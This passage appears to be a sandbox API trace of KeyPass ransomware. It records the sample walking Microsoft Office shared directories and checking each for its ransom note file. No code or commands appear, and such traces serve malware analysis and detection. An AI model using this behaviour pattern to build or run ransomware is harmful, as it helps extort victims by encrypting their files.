SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501b590 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.673] GetLastError () returned 0x3f0 [0275.673] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\EQUATION\\1033\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\EQUATION\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.673] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\EQUATION\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.680] GetFileType (hFile=0x16c4) returned 0x1 [0275.681] CloseHandle (hObject=0x16c4) returned 1 [0275.681] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0275.681] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018260 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.681] GetLastError () returned 0x3f0 [0275.681] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\EURO\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\EURO\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.681] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\EURO\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.682] GetFileType (hFile=0x16b4) returned 0x1 [0275.683] CloseHandle (hObject=0x16b4) returned 1 [0275.683] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0275.683] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5016040 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.683] GetLastError () returned 0x3f0 [0275.683] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\Filters\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\Filters\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.683] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\Filters\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.684] GetFileType (hFile=0x16c8) returned 0x1 [0275.685] CloseHandle (hObject=0x16c8) returned 1 [0275.685] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0275.685] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.685] GetLastError () returned 0x3f0 [0275.685] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.685] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.686] GetFileType (hFile=0x16cc) returned 0x1 [0275.687] CloseHandle (hObject=0x16cc) returned 1 [0275.687] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0275.687] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019370 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.687] GetLastError () returned 0x3f0 [0275.687] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\Help\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\Help\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.687] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\Help\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.688] GetFileType (hFile=0x16d0) returned 0x1 [0275.688] CloseHandle (hObject=0x16d0) returned 1 [0275.688] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0275.688] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018260 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.689] GetLastError () returned 0x3f0 [0275.689] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\MSClientDataMgr\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\MSClientDataMgr\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.689] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\MSClientDataMgr\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.707] GetFileType (hFile=0x16d8) returned 0x1 [0275.708] CloseHandle (hObject=0x16d8) returned 1 [0275.708] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0275.708] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.708] GetLastError () returned 0x3f0 [0275.708] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.708] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.719] GetFileType (hFile=0x16d4) returned 0x1 [0275.720] CloseHandle (hObject=0x16d4) returned 1 [0275.759] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0275.759] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501b590 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.759] GetLastError () returned 0x3f0 [0275.759] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\1033\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.759] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.760] GetFileType (hFile=0x16e0) returned 0x1 [0275.761] CloseHandle (hObject=0x16e0) returned 1 [0275.761] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0275.761] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501b590 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.761] GetLastError () returned 0x3f0 [0275.761] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Cultures\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Cultures\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.761] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Cultures\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.762] GetFileType (hFile=0x16e4) returned 0x1 [0275.762] CloseHandle (hObject=0x16e4) returned 1 [0275.763] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0275.763] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5016040 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.763] GetLastError () returned 0x3f0 [0275.763] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.763] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.766] GetFileType (hFile=0x16e8) returned 0x1 [0275.766] CloseHandle (hObject=0x16e8) returned 1 [0275.767] PeekMessageW (in: lpMsg=0x2e4cf58, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4cf58) returned 0 [0275.767] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.767] GetLastError () returned 0x3f0 [0275.767] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.767] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.780] GetFileType (hFile=0x16dc) returned 0x1 [0275.781] CloseHandle (hObject=0x16dc) returned 1 [0275.781] PeekMessageW (in: lpMsg=0x2e4cf58, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4cf58) returned 0 [0275.781] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019370 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.781] GetLastError () returned 0x3f0 [0275.781] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Resources\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Resources\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.781] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Resources\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.782] GetFileType (hFile=0x16ec) returned 0x1 [0275.783] CloseHandle (hObject=0x16ec) returned 1 [0275.783] PeekMessageW (in: lpMsg=0x2e4cc08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4cc08) returned 0 [0275.783] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019370 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.783] GetLastError () returned 0x3f0 [0275.783] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Resources\\1033\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Resources\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.784] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Resources\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.785] GetFileType (hFile=0x16f0) returned 0x1 [0275.786] CloseHandle (hObject=0x16f0) returned 1 [0275.786] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0275.786] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501cf28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.786] GetLastError () returned 0x3f0 [0275.786] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\en-us\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\en-us\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.786] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\en-us\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.788] GetFileType (hFile=0x16f4) returned 0x1 [0275.788] CloseHandle (hObject=0x16f4) returned 1 [0275.789] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0275.789] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501cf28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.789] GetLastError () returned 0x3f0 [0275.789] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Office Setup Controller\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Office Setup Controller\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.789] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Office Setup Controller\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.789] GetFileType (hFile=0x16f8) returned 0x1 [0275.791] CloseHandle (hObject=0x16f8) returned 1 [0275.791] PeekMessageW (in: lpMsg=0x2e4cf58, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4cf58) returned 0 [0275.791] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.791] GetLastError () returned 0x3f0 [0275.791] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Office Setup Controller\\Office.en-us\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Office Setup Controller\\Office.en-us\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.791] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Office Setup Controller\\Office.en-us\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.793] GetFileType (hFile=0x1700) returned 0x1 [0275.794] CloseHandle (hObject=0x1700) returned 1 [0275.794] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0275.795] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019370 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.795] GetLastError () returned 0x3f0 [0275.795] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\PROOF\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\PROOF\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.795] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\PROOF\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.796] GetFileType (hFile=0x1704) returned 0x1 [0275.797] CloseHandle (hObject=0x1704) returned 1 [0275.797] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0275.797] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501be18 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.797] GetLastError () returned 0x3f0 [0275.797] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.797] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.840] GetFileType (hFile=0x1708) returned 0x1 [0275.841] CloseHandle (hObject=0x1708) returned 1 [0275.841] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0275.841] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019370 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.841] GetLastError () returned 0x3f0 [0275.841] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\1033\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.841] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.842] GetFileType (hFile=0x170c) returned 0x1 [0275.843] CloseHandle (hObject=0x170c) returned 1 [0275.843] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0275.843] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.843] GetLastError () returned 0x3f0 [0275.843] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\LISTS\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\LISTS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.843] PathFileExistsW 